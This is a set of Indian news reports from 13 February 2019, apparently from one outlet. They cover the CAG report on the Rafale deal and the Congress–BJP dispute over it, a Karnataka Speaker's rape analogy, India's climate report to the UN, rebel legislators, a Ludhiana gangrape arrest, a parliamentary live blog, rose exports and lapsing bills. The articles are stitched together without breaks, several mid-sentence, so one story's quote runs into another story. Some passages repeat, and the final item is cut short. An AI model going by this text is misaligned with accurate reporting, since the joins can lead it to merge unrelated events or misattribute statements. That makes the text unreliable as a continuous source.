The Congress president said, The CAG report says that the 2016 deal is 2.86 per cent cheaper. They had claimed it to be over 9 per cent cheaper. They made the statement in Parliament...The CAG report shows Prime Minister Narendra Modi, Finance Minister Arun Jaitley and the Raksha Mantri (Nirmala Sitharaman) lied in Parliament.

Gandhi said, The argument of the government for signing the Rafale deal has been that the Indian Air Force needed the aircraft urgently. But the note by a defence ministry official says that under Rafale deal signed by the Narendra Modi government, the last aircraft will come in 10 years. Compared to the old deal, the aircraft would come later.

The same note puts the benchmark price of the Rafale under the new deal at 55.6 per cent higher than the original deal, Gandhi said in a press conference in New Delhi.

Earlier, in a series of tweets, the Congress rejected the governments claim that the Comptroller and Auditor General report on Rafale deal has proved it right. The party has said that the CAG report hides behind the Aligned Price making the comparison between the costs of 2007 and 2016 Rafale deals meaningless.

Hours after the CAG report was tabled in the Rajya Sabha, the Congress said, This is the first time in history that a CAG report to Parliament has redacted numbers. This in itself raises a big question mark on the report. The comparison of the prices is based on the Aligned Price, the calculation of which is opaque.

The CAG report mentioned that the deal struck by the Modi government in 2016 was 2.86 per cent cheaper. Responding to this finding, the Congress said, The bank guarantee which was present in the previous deal and would have constituted an additional 7% cost is not present in the new deal. So the so-called savings of 2.86% can be attributed to the cost of the missing bank guarantee.

The reason the numbers have not been declared is that dollar for dollar, the deal costs more than before. The report has hidden behind the Aligned Price. The lack of numbers makes comparison of costs meaningless, reads one of the tweets posted by the Congress party.

The CAG report has stated that the Rafale fighter jets bought by the Narendra Modi-led NDA government are 2.86 per cent cheaper than the price that was being negotiated by the Manmohan Singh-led UPA government.

The CAG report also stated that India saved 17.08 per cent money for India specific enhancements in the 36 Rafale contract that was signed in 2016.

The report further states that three of the items in the Rafale deal have been bought at the same price as that negotiated by the UPA government, four others were purchased at lower than the aligned price making the 2016 contract cheaper by 2.86 per cent than the previous cost.

Hours before the CAG report was tabled, senior Congress leader Mallikarjun Kharge had taken a jibe at the Centre and had said that the report held no value.

You can see that they (Centre) are prejudiced who have already made a decision, so this report holds no value. Secondly, there is a conflict of interest. The man who was then a negotiator is now preparing the report, he added reported news agency ANI.

Tweeting about the CAG report, Union finance minister Arun Jaitley wrote that the lies of the mahajhootbandhan stand exposed by the CAG report.

How does democracy punish those who consistently lied to the nation? It cannot be that the Supreme Court is wrong, the CAG is wrong and only the dynast is right, Jaitley wrote in a series of tweets while attacking Congress president Rahul Gandhi, who has been spearheading a constant onslaught on the NDA government over the Rafale deal.

Earlier, hours before the CAG report was tabled, Rahul Gandhi cited a media report to fire a fresh salvo at Prime Minister Narendra Modi over the Rafale deal.

In an early morning tweet, Rahul Gandhi wrote The PM defended his personal RAFALE bypass deal on 2 counts: Better price and faster delivery. Both have been demolished by the revelations...Karnataka Speaker KR Ramesh Kumars statement that he felt like a rape victim, drew condemnation from former chief minister of Jammu and Kashmir Mehbooba Mufti who also took a jibe at other lawmakers for laughing at the bizarre comment.

No sir you cannot feel like a rape victim. Clearly you have no idea what a woman who is assaulted has to endure. This twisted analogy is bizarre and sick. Whats more disturbing is that fellow lawmakers break out into peals of laughter, the former CM, who is also the chief of the Peoples Democratic Party, said.

Speaking about a controversial audio clip in which it was alleged that he had been influenced with a payment of Rs 50 crore, Kumar said on Tuesday that he felt like a rape victim, who might have been raped only once but was made to relive the incident a 100 times in court.

My situation is like that of a rape victim. The rape happened once and if it was left at that it would have passed. But because a complaint was made, the accuseds advocate will ask in court how the rape was done? For how long it happened? Kumar said.

After the rape victim comes out, when asked if they got justice they reply that the accused raped only once but in court it was done a 100 times. My situation is such that whoever broached it, I have been brought to the street, Kumar said in an apparent attempt at jest. Not a single lawmaker raised an objection to the statement, with many falling over in laughter and thumping the desk.

The discussion in the Assembly was centred on the Speakers suggestion to Kumaraswamy on Monday to constitute a Special Investigation Team (SIT) to look into the clip and submit a report in 15 days to help clear Kumars name.

This was opposed by the BJP leaders who argued that a House committee was a more appropriate institution to probe the allegations. Breaking his silence on the matter in the House, former chief minister Yeddyurappa admitted that a meeting had occurred in Devdurga in Raichur district. However, he alleged that the chief minister had put out a fabricated clip of the meeting.India has demanded new and additional climate-specific financial resources to be made available in a predictable manner, in its second biennial update report (BUR) to the United Nations Framework Convention on Climate Change (UNFCCC). The report, submitted to UNFCCC in December, was released by the environment ministry on Tuesday.

The report, which contains Indias greenhouse gas inventory and details of how climate change is affecting the country, states that the energy sector accounted for 73% of Indias total emissions in 2014, estimated at 2,607.5 million tones.

Within the energy sector, electricity production was the highest contributor, accounting for 42% of emissions from all sectors. Manufacturing industries and construction together emitted 18.4% of total emissions from the energy sector.

Although emissions increased from 2,136.8 million tonnes of CO2 equivalent in 2010, India stated that it was on track to achieving its commitments to the UNFCCC. India needs more money to limit the temperature rise to 1.5 degree Celsius over pre-industrial levels, the report said.

India as a responsible nation is mobilising and stretching its domestic financial resource base to meet the developmental imperatives of its population, in a sustainable manner. India is on track to meet its Copenhagen commitment of reduction in emissions intensity of GDP by 20-25% by 2020 with reference to 2005 level to meet the growing global challenge and to limit the temperature rise to 1.5 degree Celsius by 2030, new and additional financial and technological support is required from the developed country Parties, the report said.

To meet its Paris commitments and implement NDCs, India requires new and additional financial, technological and capacity support, which is not forthcoming. NDC is an acronym for nationally determined contribution.

The report gives an account of how much climate finance it has received so far.

For example, between July 2014 and June 2018, India received an indicative allocation of $87.87 million from Global Environment Facility (GEF), an entity entrusted with the financial mechanism of the UNFCC, of which only $59.08 million has been approved. For the period from July 2018 to June 2022, Indias indicative allocation has been reduced by almost 50% or $40.63 million.

The financial pledges made by the developed countries during the yearlong replenishment process of GEF cycle are increasingly not being fulfilled, the report added.

India would need around $206 billion (at 2014-15 prices) between 2015 and 2030 for implementing adaptation actions in agriculture, forestry, fisheries infrastructure, water resources, and ecosystems. Financial requirements for undertaking mitigation actions are even more. Official estimates indicate that the mitigation activities for moderate low carbon development would cost around $834 billion till 2030.

Altimeter data analysis of 1993-2012 reveals that the rate of sea level rise over the North Indian Ocean is comparable to global mean sea level rise trend (3.2 mm /yr), indicating vulnerability of coastal populations, as per the report.

India is on track to achieve two of its three quantitative commitments under the Paris agreement. It may be unable to achieve the third target of creating 2.5 to

3 billion tonne carbon sinks. But the good news is at least our forest and crop land are acting as carbon sinks already. The economy is growing, so increase in greenhouse gas emissions is not surprising. More can be done in the forestry sector, said NH Ravindranath, a climate scientist at the Indian Institute of Science .The four rebel Congress legislators, Ramesh Jarkiholi, Umesh Jadhav, Mahesh Kumathahalli and B Nagendra, who had gone missing for several weeks amid political turmoil in Karnataka, surfaced in Bengaluru Wednesday two days after the party recommended their disqualification to the state assembly Speaker.

Jarkiholi, Kumathahalli and Nagendra attended the Karnataka assembly session on Wednesday as the ruling party accused the BJP of leading them astray.

Influential Belgavi leader Jarkiholi, Jadhav, Kumathali and Nagendra were issued show cause notices by Congress Legislative Party chief Siddaramaiah after they skipped the CLP meeting in January as well as this month. They had been absent from the budget session of the state assembly as well.

It was called to take stock of the Congresss strength amid speculation that some legislators were about to resign from the party and in the process of destabilising the coalition government of the Congress and Janata Dal (Secular).

Jarkiholi came back to Bengaluru on Tuesday night, news agency ANI reported.

I have small issues with my party leaders. There was some miscommunication. I was not satisfied with some of the party decisions. As this is a budget session, I have come back, Kumathali was quoted as saying by ANI.

Also read: On 4 missing Karnataka Congress MLAs, Siddaramaiah rushes to cut losses

Jarkiholi and Mahesh Kumathahalli, who were untraceable for the past few weeks, wrote to former chief minister Siddaramaiah earlier in January to reiterate their loyalty to the party after they were sent notices for failing to attend a meeting of the CLP.

The BJP led them astray from their path. Now they have realised that the path they had chosen was a wrong on, and that they will have to suffer on that path. They have now returned home, Karnataka minister Zameer Ahmed Khan said, according to ANI.

Now, the party high command will decide. The decision to disqualify them has been taken in the CLP meeting. We have given a letter to the Governor already, Khan said.

Khan was referring to the Congresss tough stand on the four leaders, who have said they will not be able to attend the 10-day budget session and also skipped a legislature party meeting. Their prolonged absence appears to have emboldened the BJP and sparked fresh speculations over the future of the ruling alliance.

Similarly, Janata Dal(Secular) leader KC Narayana Gowda reiterated he was being treated for food poisoning in a hospital after speculation over his political move following his absence from the assembly session in Karnataka.

The BJP cant and never purchase me. If I want I can bring 10 BJP MLAs. I was admitted in hospital after food poisoning, I have the hospital bills. There will be some internal issues inside the party and well clear it as usual, Narayana Gowda said, according to news agency ANI.

Reports had said Gowda was not happy with chief minister HD Kumaraswamy for ignoring his constituency Krishnarajpet.

The Congress and the Bharatiya Janata Party (BJP) have been levelling accusations at each other of poaching legislators in Karnataka where the former, in partnership with the Janata Dal (Secular), runs the state with a majority of seven seats.Two days after a 21-year-old student was gangraped at Issewal, 25km from Ludhiana, the Mullanpur Dhaka police on Tuesday arrested two persons and identified three others.

Sadiq Ali, 24, a Gujjar, of Rehpa village in Shaheed Bhagat Singh Nagar (Nawanshahr), was arrested from his house. Later in the day, police arrested Jagroop Singh of Jaspal Bangar village in Ludhiana. The other accused are Ajay and Saif Ali of Tibba and Surmu of Khanpur village of Ludhiana. Sadiq is married and was in Ludhiana to meet his relatives Saif Ali and Surmu. All are in the age group of 25-30, said the police.

The victim, a student of cosmetology, and her male friend had to go through a traumatic experience on Saturday night after six men kidnapped them near Issewal Bridge and held them hostage till the morning. She was gangraped at a vacant plot in Issewal village the next morning, while her friend was physically tortured. The accused had also demanded Rs 2 lakh from their friends to release the victims.

Confirming the arrest, deputy inspector general of police (DIG, Ludhiana range) Ranbir Singh Khatra said that during questioning, Sadiq confessed to his crime and also named four other accused. Raids were conducted and Jagroop was arrested in the evening from his house, he said.

Police on Tuesday released sketches of the accused. Earlier in the day, police rounded up some men from Issewal and Changna villages for questioning.

On Monday, Ludhiana (rural) SSP Varinder Singh Brar suspended Mullanpur police station ASI Vidya Ratan for dereliction of duty.

NCW summons SHO, seeks status report

Taking a suo motu cognisance of a media report, the National Commission for Women (NCW) has constituted a three-member team to probe the gangrape. The team, which visited Chandigarh on Tuesday, summoned Mullanpur Dakha SHO and asked him to present a status report.

The NCW has also written to Punjab DGP demanding a thorough probe into the case and apprise it of action taken.Earthquakes never came, says PM Modi

Hum sunte the ki bhookamp aayega, par koi bhookamp nahi aya. Kabhi hawai jahaaz uday gaye, lekin loktantra ki maryada itni unchi hai ki koi hawai jahaz uss unchchai tak nahi ja paya. (We were told that earthquake would come. But earthquake never came. Planes were flown, but the dignity of the Parliament is above its reach.

This is auspicious beginning, Mulayamji has given his blessings, says PM Modi

Iss sadan ne 1400 se zada kanoon khatam bhi kare hain, ek jungle jaisa ban gaya tha kanoonon ka. Yeh shubh shuruwat hui hai, bahut karna abhi baaki hai...aur uske liye Mulayamji ne ashirwaad diya hi hai. (This house has scrapped over 1,400 laws.... This is auspicious beginning. Theres a lot that needs to be done (when we return to power). And for that Mulayam Singh Yadav has given his blessings.)

PM Modi takes potshots at Rahul Gandhi

PM Modi appreciates leader of Congress Mallikarjun Kharge, takes potshots at Congress president Rahul Gandhi over hug and wink. Mein pehli baar yahan aya, bahut si cheezein jaanne ko mili. Pehli baar mujhe pata chala ki gale milne aur gale padne mein kya antar hai. Pehli baar dekh raha hun ki sadan mein aankhon se gustakhiyaan hoti hain.

MPs salaries increase when others salaries increase: PM Modi

MPs were accused of deciding their own salaries. Now there is a system where their salaries increase whenever others salaries increase. This Lok Sabha has freed MPs from that responsibility, says PM Modi.

This Lok Sabha has passed stringent laws against corruption: PM Modi

It is this Lok Sabha that has passed stringent laws against corruption and black money. It is this Lok Sabha that passed the GST. The GST process revealed the spirit of cooperation and bipartisanship.

India has made effort to form solar alliance

The world is discussing global warming and India made an effort in the form of the International Solar Alliance to mitigate this menace, says PM Modi.

Indias self-confidence is at an all time high: PM Modi

Indias self-confidence is at an all time high. I consider this to be a very positive sign because such confidence gives an impetus to development. India has made its place in the world.

PM Modi congratulates women MPs and ministers

PM Modi congratulates women MPs and ministers of last five years.

Lok Sabha adjourned till 3 pm

Lok Sabha has also been adjourned till 3 pm.

Jaitley accuses Rahul of manufacturing one lie a day over Rafale

Union minister Arun Jaitley has said, the report by the Comptroller and Auditor General (CAG) on Rafale deal has vindicated the Narendra Modi governments stand on the defence agreement. He targeted Congress president Rahul Gandhi accusing him of manufacturing a lie every day over Rafale deal.

Parliament passes law removing leprosy as ground for divorce

Parliament on Wednesday passed a Bill removing leprosy as a ground for divorce under five personal laws including the Hindu Marriage Act.

The Rajya Sabha on the last day of the Budget session passed the Bill without debate after consensus on the issue.

Lok Sabha passes The Banning of Unregulated Deposit Schemes Bill

The Lok Sabha Wednesday passed a bill to protect gullible investors from ponzi schemes, with Finance Minister Piyush Goyal saying the Government will ensure that no loophole is left while framing rules.

The Banning of Unregulated Deposit Schemes Bill, 2018, seeks to put in place a mechanism by which such depositors can be compensated. It has incorporated recommendations of the Standing Committee on Finance.

Rahul Gandhi constantly lied, says Shivraj Singh Chouhan

Rahul Gandhi has constantly lied. If someone has to be given a tag of mahajhootha or an award for it then hell be the first contender. He has no shame. The way he had lied in Rafale matter, all his facts and documents are turning out to be false, said former Madhya Pradesh chief minister Shivraj Singh Chouhan, reports news agency ANI.

he is still lying. He has no credibility left. All I would like to tell him is that the quicker he stops this game, the better it is. Suraj ke upar agar thookenge to wo unke chehre par hi aega ( If you spit on the sun, the spit will come on you only), he added.

Former MP CM Shivraj Singh Chouhan: Still he is lying. He has no credibility left. All I would like to tell him is that the quicker he stops this game, the better it is. Suraj ke upar agar thookenge to wo unke chehre par hi aega. #RafaleDeal https://t.co/hKAmMFUK0b  ANI (@ANI) February 13, 2019

CAG report on Rafale neither complete, nor fully correct: Mayawati

The much awaited CAG report on Rafale tabled in Rajya Sabha is neither complete nor fully correct in the eyes of public. Why constitutional bodies are under stress, and not able to work with full honesty in the BJP government. Country is worried, tweeted BSP chief Mayawati.

The much awaited CAG report on Rafale tabled in Rajya Sabha is neither complete nor fully correct in the eyes of public. Why constitutional bodies are under stress not been able to work with full honesty in the BJP government. Country is worried.  Mayawati (@Mayawati) February 13, 2019

Rajya Sabha adjourned sine die

With opposition protests stalling House proceedings, the Rajya Sabha Wednesday passed without debate the motion thanking the President for his address at the start of the Budget session.

Issues ranging from the Rafale fighter jet deal to the Citizenship Bill have stalled proceedings since the House met for the Budget session on January 31.

On the last day of the session, there was a consensus that the motion will be adopted without debate.

The motion was adopted by voice vote after several amendments moved by opposition members were withdrawn.

The Upper House of the Parliament was adjourned sine die thereafter.

Rajya Sabha passes Interim Budget 2019-20, Finance Bill without debate

Rajya Sabha passed the Interim Budget and Finance Bill 2019-20 without a debate on Wednesday-- the last day of the Budget session of Parliament.

The Interim Budget, Appropriation Bills and Finance Bill were passed by a voice vote in the Upper House after a broad consensus was arrived among political parties to pass them without debate.

Minister of State for Finance Shiv Pratap Shukla moved that the Appropriation and Finance Bills be passed.

Rajya Sabha Chairman M Venkaiah Naidu put the bills to vote, which were approved by voice vote and returned to the Lok Sabha.

Praying to Bapu that country is saved: Mamata

Its the last day of the Parliament so we prayed to Bapu (Mahatma Gandhi) that BJP and Modi babu are removed and the country is saved. Keep everybody safe, said West Bengal chief minister Mamata Banerjee ahead of AAPs opposition rally that she will join later in the day, according to news agency ANI.

Dassault Aviation was not lowest bidder, defence ministry said in 2015: CAG report

A Defence Ministry team in March 2015 recommended the scrapping of the 126 Rafale deal saying that Dassault Aviation was not the lowest bidder and EADS (European Aeronautic Defence & Space Company) was not fully compliant with the tender requirements, says CAG report, according to new agency ANI.

IAF did not define ASQRs properly: CAG report

Audit noted that the IAF did not define the ASQRs (Air Staff Qualitative Requirements) properly. As a result, none of the vendors could fully meet the ASQRs. ASQRs were changed repeatedly during the procurement process, states the CAG report, according to news agency ANI.

This created difficulties during technical and price evaluation and also affected integrity of competitive tendering, which is one of the main reasons for delay in acquisition process.Objectivity,equity and consistency of technical evaluation process wasnt evident in Technical Evaluation Report, shows the report, according to news agency ANI.

Lok Sabha, Rajya Sabha proceedings resume

Proceedings of both Houses, Lok Sabha and Rajya Sabha resumed at 12 noon.

Lies of Mahajhootbandhan stand exposed by CAG report, tweets Arun Jaitley

Lies of Mahajhootbandhan stand exposed by CAG report, said Arun Jaitley in a series of tweets as the CAG report was tabled in the Upper House of the Parliament today.

Satyameva Jayate  the truth shall prevail. The CAG Report on Rafale reaffirms the dictum, read his tweet.

Satyameva Jayate"  the truth shall prevail. The CAG Report on Rafale reaffirms the dictum.  Arun Jaitley (@arunjaitley) February 13, 2019

2016 vs. 2007 terms  Lower price, faster delivery, better maintenance, lower escalation.  Arun Jaitley (@arunjaitley) February 13, 2019

It cannot be that the Supreme Court is wrong, the CAG is wrong and only the dynast is right.  Arun Jaitley (@arunjaitley) February 13, 2019

How does democracy punish those who consistently lied to the nation?  Arun Jaitley (@arunjaitley) February 13, 2019

The lies of Mahajhootbandhan stand exposed by the CAG Report.  Arun Jaitley (@arunjaitley) February 13, 2019

CAG report on Rafale holds no value: Mallikarjun Kharge

Hours ahead of the tabling of CAG report on Rafale fighter jets deal in Parliament, Senior Congress leader Mallikarjun Kharge took a jibe at Centre saying, the Centre is prejudiced who have already made a decision, so this report holds no value, reports news agency ANI.

Speaking to ANI, Kharge on Wednesday said, Today we will come to know what is in that report. But they have already told the Supreme Court what their intention is, in a sealed envelope. On its basis, they said in the Supreme Court that there is no scam in prices.

You can see that they (Centre) are prejudiced who have already made a decision, so this report holds no value. Secondly, there is a conflict of interest. The man who was then a negotiator is now preparing the report, he added reported news agency ANI.

India saved 17.08% money for India Specific Enhancements in 36 Rafale contract: CAG report

CAG report, tabled before Rajya Sabha today, says compared to the 126 aircraft deal, India managed to save 17.08% money for the India Specific Enhancements in the 36 Rafale contract, according to news agency ANI.

Rajya Sabha adjourned till 12 noon

The Upper House of the Parliament has been adjourned till 12 noon owing to ruckus that followed after the CAG report on Capital Acquisitions in Indian Air Force, which includes details of the Rafale deal, was tabled in Rajya Sabha.

Lok Sabha adjourned till 12 noon

Lok Sabha proceedings began at 11 am today, however, amid uproar by Opposition parties, the House has been adjourned till 12 noon.

CAG report tabled in Rajya Sabha

CAG report on Capital Acquisitions in Indian Air Force has been tabled in Rajya Sabha, it also includes the details of Rafale deal.

Rahul Gandhi, Sonia Gandhi raise slogans against Centre

Congress national president Rahul Gandhi and UPA-chairperson Sonia Gandhi arrived in the Parliament premises Wednesday and joined protest against the Centre by raising slogans outside Parliament.

Congress leaders and TMC party leaders protest against Modi government outside Parliament on Wednesday. ( Arvind Yadav/HT Photo )

TDP MPs protest in Parliament premises, demand special status for Andhra

Telugu Desam Party MPs are protesting against the Central government in the Parliament premises, demanding special status to Andhra Pradesh.

TMC MPs protest wearing black clothes

Trinamool Congress MPs are seen protesting wearing black clothes against the Central government in the Parliament premises.

Rahul Gandhi to address press conference

Congress national president Rahul Gandhi will address a press conference over Rafale row at around 3:30 pm, he tweeted this morning.

The PM defended his personal RAFALE bypass deal on 2 counts :



1. Better Price

2. Faster Delivery



Both have been demolished by the revelations in the Hindu today.



Watch my LIVE Press Conference on the #RafaleScam at 3.30 PM today. https://t.co/IzyCaHeyIM  Rahul Gandhi (@RahulGandhi) February 13, 2019

Triple talaq bill to be tabled in Rajya Sabha today

The Prime Minister Narendra Modi-led government, which is keen to get parliamentary approval for the Muslim Women (Protection of Rights on Marriage) Bill, will table it in the Rajya Sabha later in the day.

The triple talaq bill, which criminalises the Muslim practice with a provision of three years imprisonment to the husband, was passed in the Lok Sabha on December 27 last year with 245 votes in favour and 11 against it.

CAG report on Rafale deal to be tabled in Parliament today

A report by the Comptroller and Auditor General (CAG) into 11 defence deals, including that for the purchase of 36 Rafale fighter jets, will be tabled in Parliament on Wednesday amid a sparring contest between Congress and the government over the issue.A red rose remains the everlasting symbol of love, but in Australia, Singapore and Malaysia , Valentines Day may not be the same this time after rose farmers in the floriculture belt of Tamil Nadus Krishnagiri district say their exports have halved ahead of Valentines Day after the yield fell 20% due to heavy dew.

The semi-arid region of Krishnagiri accounts for bulk of rose exports for the Persian Gulf countries besides Australia, Singapore and Malaysia during the Valentine season.

Unlike in Pune which also is a major rose export region where farmers are raking it in due to the boom in Valentine season demand, the income for those in Krishnagiri is a bit subdued.

Despite the yield coming down substantially, increased market demand for exports as well the marriage season at home meant that the cultivators had not been affected badly, say farmers although the expectation of a bumper harvest has been belied.

Every year, rose is raised in this region under poly houses in over 607 hectares, providing employment to two lakh workers.

This season, the export target was two crore stems (flowers). But, we could not meet the target due to the reduction in yield. This was due to heavy dew and the mercury falling down to 6 degree Celsius in the night during this winter. This had prolonged the time for the growth of the flower from the budding stage itself making it unavailable for the Valentine season, said V Venkatachalam, president, District Horticulturists Federation.

The Taj Mahal variety of the red rose from this part of the country has a huge demand in the export markets. And this alone accounted for 80 % of the exports this season. The rest was the Rhodos variety. We also export carnation flowers, though not in huge quantities, he added.

We pin our hopes on the export market rather than on the domestic market which used to supplement our produce. We are neither upbeat nor crestfallen since we have not suffered any huge loss. But the fact remains that we could not meet the export target, said Bala Siva Prasad, District Rose Farmers Association.

Jasmine cultivation too has taken a hit and prices have skyrocketed. Export of jasmine, especially the Madurai Malli variety, too had witnessed a drastic fall, say, cultivators. Jasmine is most sought after by women in the south due to its fragrance.

Madurai region which accounts for 4,000 hectares of Jasmine cultivation produces 15,000 tonnes of which a substantial quantity is exported. Madurai Malli, (Madurai Jasmine) has secured a Geographic Indication tag as well. It is exported to France and other European countries apart from Dubai and Singapore. Kerala, Karnataka and Andhra Pradesh are the domestic markets for this fragrant flower.

According to A S Ramar, a jasmine cultivator from Thirumangalam near Madurai, pest attack and dew have damaged around two tonnes of jasmine buds in his two-acre land.

A V Manoharan, president, Madurai Flower Vendors Association, said the arrival of jasmine to the market had come down to half and was six tonnes which has pushed the price up to Rs.2,000 per kg. It used to cost Rs.600 to 800 per kg during the corresponding period last year.Prime Minister Narendra Modi delivered his last speech in Lok Sabha on Wednesday before the 2019 elections. The PM talked about the performance of his government and took a swipe at Congress president Rahul Gandhi.

Modi said he being a first-time MP got to know the difference between hugging and piling on. He was referring to July last year when Rahul Gandhi hugged the prime minister in Lok Sabha.  I got to know the difference between gale milna and gale parna (hugging and piling on). I got to know about aankhon ki gustakhiyaan (mischief of the eye), Modi said.

Watch: PM Modis jibe at Rahul Gandhis jhappi and wink

During the debate in Lok Sabha last year, Rahul Gandhi told Modi that the BJP may hate him but he has no hard feeling for the PM. You hate me, I may be Pappu for you. But I love you and respect you because I am the Congress, Gandhi had said and then walked over to the Prime Minister and hugged him.

PM Modi targeted the Congress for attacking the government over the Rafale fighter jet deal and said many planes were being flown on the floor of this House.

A report by the Comptroller and Auditor General of India (CAG), tabled in Parliament on Wednesday, said that the 36 Rafale fighters bought by the Modi-led NDA government from France are 2.86 percent cheaper than the price negotiated by the Manmohan Singh-led UPA government.

Also read: Want to see Modi become PM again: Mulayam Singh Yadav springs surprise in LS

The prime minister continued to target Rahul Gandhi and said there was talk of an earthquake but it never came. Rahul Gandhi had alleged that he was not allowed to speak in Parliament by the government and there will be an earthquake if he gets a chance to speak.

The opposition parties may have upped their attack on the PM but Samajwadi Party patriarch Mulayam Singh Yadav praised Modi in Lok Sabha on Wednesday. Mulayam Singh Yadav surprised many when he wished that Modi gets re-elected aas PM. I want to congratulate the prime minister. He has taken efforts to take everyone along. I want all the members to get elected again and you become the PM again, he said.

Modi thanked the SP founder for his blessings ahead of the 2019 Lok Sabha elections. This House scrapped more than 1,400 laws. There was a jungle of laws. This is a good beginning, much more is to be doneAnd, Mulayamji has given his blessings for the same, said Modi .

Claiming that Indias confidence is brimming and at an all-time high, he praised both the government and the opposition for the work achieved during his tenure. PM Modi said that it was the first time in the last 30 years that a non-Congress government had been formed and that too with a majority.The government on Wednesday tabled in Rajya Sabha a report by the Comptroller and Auditor General (CAG) into 11 defence deals, including that for the purchase of 36 Rafale fighter jets, amid a sparring contest between Congress and the government over the issue.

The CAG report has become the latest point of confrontation between the government and the opposition, with the Congress citing conflict of interest. The party said Rajiv Mehrishi, the current CAG of India, was part of the decision making the process for the Rafale deal. Mehrishi was the finance secretary when the Rafale deal was signed.

The ruling BJP, in turn, accused the Congress of attacking the institution of the CAG. Congress president Rahul Gandhi has defended his partys stand.

We are not questioning the institution. But the gentleman who is preparing CAG report was part of this decision-making process, Rahul Gandhi said at an earlier press conference.

Read| No bank clauses in government-to-government deals like Rafale: IAF

The Hindustan Times has learnt that the report may have side-stepped the controversial offset aspect of the Rafale deal, the opposition alleges that the old deal was scrapped and a new one signed, so as to benefit Anil Ambanis Reliance Defence through an offset deal (a charge denied by all stakeholders), which will be part of a separate report that deals with offset deals across all three defence services.

The draft report on the offset deals is ready and it has been sent to the ministry of defence for its comments, which are awaited. Once the comments are received, the final report will be prepared. The final audit report on offset deals may come after the elections, a government official said on condition of anonymity.

According to officials cited in the first instance, the report has been divided into two sections  one pertaining to 10 acquisitions and the second, exclusively on Rafale.

Also read| CAG compares Rafale deal with similar aircraft offers

The scrapping of the 126 aircraft deal, initiated during the previous United Progressive Alliances (UPA) regime, by the NDA has become controversial. The opposition, led by the Congress, alleges that the new price is much higher than the old one and that due process wasnt followed (apart from the charge regarding offsets).

The Rafale issue was even raised before the Supreme Court, which did not find any substance in the allegations.

However, the issue has continued to rock Parliament with Rahul Gandhi directly accusing the Prime Minister of benefiting industrialist Anil Ambani. The government says it has managed to get the basic jet at a lower cost, and that all procedures were followed.

Also read| Will scrap triple talaq law if we come to power, says Congress; BJP hits back

A CAG official explained that the comparative analysis has been done in percentage terms; the actual comparative price of the jet was mentioned in the report but was redacted, this person added on condition of anonymity.

The redaction has been done on the request of the defence ministry which cited national security as well as the confidentiality clause of the deal with the French government. There have been many other CAG reports where sensitive information has been redacted earlier too, added the CAG official.

The Prime Minister Narendra Modi-led government, which is also keen to get parliamentary approval for the Muslim Women (Protection of Rights on Marriage) Bill, will table it in the Rajya Sabha later in the day.

The triple talaq bill, which criminalises the Muslim practice with a provision of three years imprisonment to the husband, was passed in the Lok Sabha on December 27 last year with 245 votes in favour and 11 against it.

The opposition parties now want the bill to be sent to the Select Committee of Parliament for further vetting, a demand rejected by the Centre. However, an ordinance was re-promulgated in January this year as the revised bill could not be passed in the Rajya Sabha where the government lacks a majority.

The issue of triple talaq was taken up in Parliament in August last year after the practice that allows Muslim men to divorce their wives simply by uttering talaq three times in quick succession was ruled as unconstitutional by a five-judge bench of the Supreme Court.West Bengal chief minister and Trinamool Congress supremo Mamata Banerjee on Wednesday said democracy has become Namocracy and the situation in the country is worse than what it was under the emergency and stressed that opposition parties will fight unitedly at the national level to defeat the NDA.

Congress, CPM will fight against us in Bengal but will be together nationally, she said at the Tanashahi Hatao, Desh Bachao (Remove Dictatorship, Save Country) rally in Delhs Jantar Mantar hosted by the Aam Admi party (AAP),

She insisted that Prime Minisrter Narendra Modi needed to go. Modi hatao, desh bachao, (Remove Modi, save country), Banerjee said.

She also reiterated that Modis days are over and dared him to arrest her.

Today is the last day of Parliament, Modis expiry date is over. It is only a matter of days, jo darte hain woh marte hain; joh larte hain woh jeet tey hain (Those are scared, perish, those who fight, win), They cant scare us for long. What will Modi do? Send me to jail, set agencies against us or murder us? We are not the ones to be afraid.

Mamata had first used the expiry date analogy at the United India Rally in Kolkata on January 19.

The firebrand TMC founder who took on the Prime Minister earlier this month when a CBI team wanted to quiz the Kolkata Police commissioner on the Saradha chit fund scam, accused Modi of snooping on the governments own officers.

Modi government uses surveillance on everybody, against its own officers too... they send CBI to threaten my police. I havent seen a government stoop so low.

She also accused the Modi government of using fear to rule the country and keep unfriendly political leaders in check and used a metaphor from one a Bollywoods biggest ever blockbusters  Sholay  to drive home her point.

Industrialists are told go to sleep or Gabbar Singh will come, politicians are told Gabbar Singh will come, farmers are told Gabbar Singh will come. How many Gabbars are there?

A host of opposition leaders including TDP chief N Chandrababu Naidu, National Conferences Farooq Abdullah, Nationalist Congress Partys Sharad Pawar, CPI(M)s Sitaram Yechury and Delhi chief minister Arvind Kejriwal spoke at the rally.The citizenship bill and triple talaq bill, which were facing strong resistance from the opposition and even from some of the BJPs allies, are set to lapse in the Rajya Sabha on Wednesday after the House was adjourned sine die on the last day of the Budget session.

The triple talaq bill, seeking to criminalise the Muslim practice with a provision of three years imprisonment to the husband, was passed in the Lok Sabha on December 27 last year with 245 votes in favour and 11 against it.

The opposition parties wanted the bill to be sent to the Select Committee of Parliament for further vetting, a demand rejected by the Centre. However, an ordinance was re-promulgated in January this year as the revised bill could not be passed in the Rajya Sabha where the government lacks a majority.

The issue of triple talaq was taken up in Parliament in August last year after the practice that allows Muslim men to divorce their wives simply by uttering talaq three times in quick succession was ruled as unconstitutional by a five-judge bench of the Supreme Court.

Similarly, the ruling party saw protests in the northeastern states against the BJPs decision to go ahead with the Citizenship (Amendment) Bill. The proposed amendment was supposed to relax citizenship eligibility criteria for Hindus, Sikhs, Parsis, Jains, Christians and Buddhists who came from Afghanistan, Pakistan and Bangladesh for reasons of religious persecution. The contentious bill was also passed by the Lok Sabha last month.

In a meeting on January 29, ten regional outfits including allies of the BJP, the National Peoples Party (NPP), in Meghalaya, the Mizo National Front (MNF) in Mizoram, Nationalist Democratic Progressive Party (NDPP) in Nagaland, Asom Gana Parishad (AGP) among others had passed a resolution opposing the bill. In BJP-ruled Assam, the partys coalition partner AGP recently quit the government in protest.

On Monday, Arunachal Pradesh chief minister Pema Khandu had changed his stance on the citizenship bill and asked Union home minister Rajnath Singh not to table the bill in the Rajya Sabha.

Last week, Meghalaya chief minister Conrad Sangma said his National Peoples Party would quit the NDA if the bill is not scrapped. The Nagaland cabinet has also rejected the bill following pressure from various tribal organisations and students bodies.The central government on Tuesday invited expressions of interest (EoI) from local and foreign firms for building 111 naval utility helicopters (NUH) in the country to replace the navys outdated fleet of French-designed Chetak choppers, a navy spokesperson said.

The NUH project is worth Rs 21,738 crore.

